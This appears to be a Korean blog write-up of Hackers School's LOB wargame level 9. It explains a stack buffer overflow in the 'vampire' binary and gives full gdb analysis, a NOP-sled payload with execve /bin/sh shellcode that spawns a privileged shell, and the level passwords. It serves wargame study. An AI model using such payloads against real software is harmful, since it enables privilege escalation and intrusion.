[해커스쿨 LOB] Level9: Troll >> Vampire
두비니
·2020. 7. 25. 22:57
Level 9. Troll >> Vampire
Theme: Check 0xbfff
로그인
id : troll
pw : aspirin
bash2 잊지마시고 코드 확인해봅시다.
[troll@localhost troll]$ bash2
[troll@localhost troll]$ nl vampire.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - vampire
4 - check 0xbfff
5 */
6 #include <stdio.h>
7 #include <stdlib.h>
8 main(int argc, char *argv[])
9 {
10 char buffer[40];
11 if(argc < 2){
12 printf("argv error\n");
13 exit(0);
14 }
15 if(argv[1][47] != '\xbf')
16 {
17 printf("stack is still your friend.\n");
18 exit(0);
19 }
20 // here is changed!
21 if(argv[1][46] == '\xff')
22 {
23 printf("but it's not forever\n");
24 exit(0);
25 }
26 strcpy(buffer, argv[1]);
27 printf("%s\n", buffer);
28 }
제한조건
1. 환경변수 사용 불가능
2. 버퍼에 입력 불가능
3. argv[1]의 48번째 바이트는 '\xbf'여야 함
4. argv는 2개 이하 입력
5. argv[1]의 47번째 바이트는 '\xff'이면 안됨(here is changed!) *new!*
5번조건이 새로 추가되고 전 문제에 있던 조건들은 거의 다 사라졌네요.
쉽게 말해서 return주소가 무조건 0xbfff___ 의 꼴이면 안된다는건데 이건 직접 gdb값을 보면서 생각해봅시다.
gdb를 이용해서 레지스터를 확인해봅시다.
권한이 필요하니 파일을 복사해주시고,
[troll@localhost troll]$ cp vampire vampirl
[troll@localhost troll]$ ls
vampire vampire.c vampirl
[troll@localhost troll]$ gdb -q vampirl
main문 어셈분석은 생략하겠습니다. strcpy 다음에 breakpoint를 걸었습니다.
(gdb) b * main+137
Breakpoint 1 at 0x80484b9
(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/troll/vampirl `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
Breakpoint 1, 0x80484b9 in main ()
(gdb) x/100x $esp
0xbffffb08: 0xbffffb10 0xbffffc81 0x41414141 0x41414141
0xbffffb18: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb28: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb38: 0x41414141 0xbfbfbfbf 0x00000000 0xbffffb84
0xbffffb48: 0xbffffb90 0x40013868 0x00000002 0x08048380
0xbffffb58: 0x00000000 0x080483a1 0x08048430 0x00000002
0xbffffb68: 0xbffffb84 0x080482e0 0x080484fc 0x4000ae60
0xbffffb78: 0xbffffb7c 0x40013e90 0x00000002 0xbffffc6d
0xbffffb88: 0xbffffc81 0x00000000 0xbffffcb2 0xbffffcd4
0xbffffb98: 0xbffffcde 0xbffffcec 0xbffffd0b 0xbffffd19
0xbffffba8: 0xbffffd32 0xbffffd4d 0xbffffd58 0xbffffd66
0xbffffbb8: 0xbffffda7 0xbffffdb8 0xbffffdcd 0xbffffddd
0xbffffbc8: 0xbffffde8 0xbffffe05 0xbffffe10 0xbffffe1d
0xbffffbd8: 0xbffffe25 0x00000000 0x00000003 0x08048034
0xbffffbe8: 0x00000004 0x00000020 0x00000005 0x00000006
0xbffffbf8: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffc08: 0x00000008 0x00000000 0x00000009 0x08048380
0xbffffc18: 0x0000000b 0x000001fc 0x0000000c 0x000001fc
0xbffffc28: 0x0000000d 0x000001fc 0x0000000e 0x000001fc
0xbffffc38: 0x00000010 0x0fabfbff 0x0000000f 0xbffffc68
0xbffffc48: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc58: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc68: 0x36383669 0x6f682f00 0x742f656d 0x6c6c6f72
---Type <return> to continue, or q <return> to quit---
0xbffffc78: 0x6d61762f 0x6c726970 0x41414100 0x41414141
0xbffffc88: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
이렇게 레지스터 상황을 확인해보면 모두 0xbfff____영역에 있는 것을 확인 할 수 있습니다. 그러면 이 영역을 벗어나야하는데, 이걸 이해하기 위해서는 스택 프레임이 어떤 방식으로 쌓이는지 이해해야합니다.
이전부터 파일 이름의 길이도 바이너리에 영향을 주기때문에 이왕이면 길이를 같게 해야한다는게 기억나나요?
그건 스택 프레임이 컴파일링되면서 메모리가 미리 할당이 되는데, 이게 여러가지 요인에 인해 영향을 받기 때문입니다. 아래 그림을 보면서 설명을 한번 더 하겠습니다.
다음은 프로그램이 실행 될 때마다 발생되는 상황을 대충 그려놓은 것입니다. 왼쪽의 segment가 있는 부분들은 컴퓨터 메모리 전체라고 보면 됩니다. 크게 유저가 접근할 수 없는 kernel 영역과 유저가 접근할 수 있는 유저 영역으로 나뉘며, 유저 영역 안의 저 segment들에 프로그램이 하나씩 실행된다고 생각하면 편할겁니다. (물론!! 엄밀하게 말하면 아닐수도 있는데 일단 이정도 단계에서 굳이 복잡하게 설명할 필요가 없을 것 같아 생략합니다.)
아무튼 각 세그먼트 안에는 우리가 아는 stack, data, code같은 영역으로 나뉘게 됩니다. (이것도 bss랑 libc, heap처럼 다른 영역도 있는건 당연히 아는데!!! 굳이 여기서 안다루는 부분은 뺐습니다!!!!)
아무튼 왜 이런 개념까지 들고왔느냐?
이런 세그먼트의 크기는 코드의 크기, 내가 넘겨주는 매개변수의 크기/길이, 코드 안에서 할당하는 메모리 수 등.... 에 의해 결정됩니다. 그러면 세그먼트의 크기가 커질수록, 스택의 범위 또한 커질것이니 스택의 크기가 정말정말 커진다면 0xbfff____의 영역을 벗어날 수도 있겠죠? (ex. 0xbffe____ )
+)메모리 구조에 대해서 잘 모르겠다면, 제가 앵무새처럼 말하는 달고나-해커 지망생이 알아야 할 bof기초 를 읽어보거나 아래 글을 읽어보는게 좋을듯!
참고: https://shayete.tistory.com/entry/2-Stack-Corruption-gdb-%EB%AA%85%EB%A0%B9%EC%96%B4?category=857069
간략히 설명하기 위해 이정도로 마무리짓지만, 저도 정확하게 알고있는건 아니라 한번 제대로 공부한 뒤에 메모리 구조 관련한 글을 정리해서 한번 쓰도록 하겠습니다.
아무튼, 지금 문제에서 argv[1]에 대해서는 길이제한이 없는 상황이기 때문에 이를 이용해서 nop를 왕창 넣고 분석을 해보겠습니다.
(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/troll/vampirl `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "\x90"*100000 + "\x31
\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x80484b9 in main ()
(gdb) x/x $esp
0xbffe7448: 0xbffe7450
좀 과하게 nop를 10만개를 넣어보았습니다.ㅎ
gdb로 분석을 해보니 현재 esp의 주소가 0xbffe7448로 잡혔네요.
(gdb) x/24x $esp
0xbffe7448: 0xbffe7450 0xbffe75c8 0x41414141 0x41414141
0xbffe7458: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffe7468: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffe7478: 0x41414141 0xbfbfbfbf 0x90909090 0x90909090
0xbffe7488: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7498: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe74f8: 0x90909090 0x90909090 0x90909090 0x90909090
nop영역도 0xbffe____ 영역에 잡히네요. return 주소는 0xbffe74f8로 잡겠습니다.
[troll@localhost troll]$ ./vampire `python -c 'print "A"*44 + "\xf8\x74\xfe\xbf" + "\x90"*100000 + "\x31
\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒t▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
...(중략)
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world
nop가 10만개니 payload가 많이 기네요.
매개변수의 길이가 메모리 할당에 어떤 영향을 주는지만 이해를 하면 쉬운 문제였습니다.
다음!
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level11: Skeleton >> Golem (0) | 2020.07.26 |
---|---|
[해커스쿨 LOB] Level10: Vampire >> Skeleton (0) | 2020.07.26 |
[해커스쿨 LOB] Level8: Orge >> Troll (0) | 2020.07.25 |
[해커스쿨 LOB] Level7: Darkelf >> Orge (0) | 2020.07.19 |
[해커스쿨 LOB] Level6: Wolfman >> Darkelf (0) | 2020.07.17 |